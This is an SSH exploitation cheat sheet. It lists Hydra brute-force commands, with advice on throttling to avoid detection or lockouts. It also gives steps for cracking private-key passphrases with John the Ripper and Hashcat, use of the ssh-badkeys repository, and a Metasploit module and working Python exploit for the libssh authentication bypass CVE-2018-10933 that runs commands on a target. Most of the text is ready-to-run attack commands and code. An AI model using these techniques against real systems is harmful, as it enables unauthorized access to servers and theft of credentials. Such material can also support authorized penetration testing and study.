SSH Exploitation Techniques

Basic SSH Password Attack:

hydra -l username -P /path/to/wordlist.txt ssh://192.168.1.1

This command attempts to crack the password for a specific username using a wordlist.

Multiple Username Attack:

hydra -L /path/to/usernames.txt -P /path/to/passwords.txt ssh://192.168.1.1

This command attempts to crack passwords for multiple usernames using a wordlist.

Specific Port Attack:

hydra -l username -P /path/to/wordlist.txt ssh://192.168.1.1:2222

This command targets SSH running on a non-standard port (2222).

Verbose Output:

hydra -v -l username -P /path/to/wordlist.txt ssh://192.168.1.1

This command provides verbose output during the attack.

Limiting Parallel Tasks:

hydra -t 4 -l username -P /path/to/wordlist.txt ssh://192.168.1.1

This command limits the number of parallel tasks to 4, which can help avoid detection or lockouts.

SSH Private Key Cracking with John the Ripper:

# Convert SSH private key to John format ssh2john id_rsa > id_rsa.hash # Crack the key with John john --wordlist=/path/to/wordlist.txt id_rsa.hash

These commands convert an SSH private key to a format that John the Ripper can crack, then attempt to crack the passphrase.

SSH Private Key Cracking with Hashcat:

# Convert SSH private key to Hashcat format python ssh2hashcat.py id_rsa > id_rsa.hash # Crack the key with Hashcat hashcat -m 22921 -a 0 id_rsa.hash /path/to/wordlist.txt

These commands convert an SSH private key to a format that Hashcat can crack, then attempt to crack the passphrase.

Using a Cracked Private Key:

# Set correct permissions on the private key chmod 600 id_rsa # Use the key to authenticate ssh -i id_rsa username@192.168.1.1

These commands set the correct permissions on a private key and use it to authenticate to an SSH server.

Weak Key Generation:

Some SSH keys may be vulnerable due to weak random number generators or predictable patterns. Tools like RsaCtfTool can attempt to recover private keys from public keys in certain cases:

python RsaCtfTool.py --publickey id_rsa.pub --private

SSH Bad Keys Repository:

The SSH Bad Keys repository is a collection of static SSH keys (both public and private) that have made their way into software and hardware products. These known vulnerable keys can be used in penetration testing:

# Clone the SSH Bad Keys repository git clone https://github.com/PopLabSec/ssh-badkeys.git cd ssh-badkeys # Check for known vulnerable authorized keys grep -f authorized/[key_file] ~/.ssh/authorized_keys # Try to authenticate using known private keys ssh -i host/[private_key_file] user@target

The repository contains two categories of keys: authorized keys (which can be used to gain access to a device) and host keys (which can be used to conduct MITM attacks). If a target system uses any of these known keys, it may be vulnerable to unauthorized access or impersonation attacks.

libssh Authentication Bypass (CVE-2018-10933):

libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 contain an authentication bypass vulnerability that allows an attacker to authenticate without credentials.

# Using Metasploit use auxiliary/scanner/ssh/libssh_auth_bypass set RHOSTS 192.168.1.1 set RPORT 22 run

Python Exploit for libssh Authentication Bypass:

#!/usr/bin/env python3
import socket
import paramiko
import sys

if len(sys.argv) < 3:
    print(f"Usage: {sys.argv[0]} target_host port")
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

sock = socket.socket()
sock.connect((host, port))

message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()

message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)

channel = transport.open_session()
channel.exec_command('whoami')

output = channel.recv(1024).decode()
print(f"Command output: {output}")

channel.close()
transport.close()
sock.close()

This Python script exploits the libssh authentication bypass vulnerability to execute commands on the target server.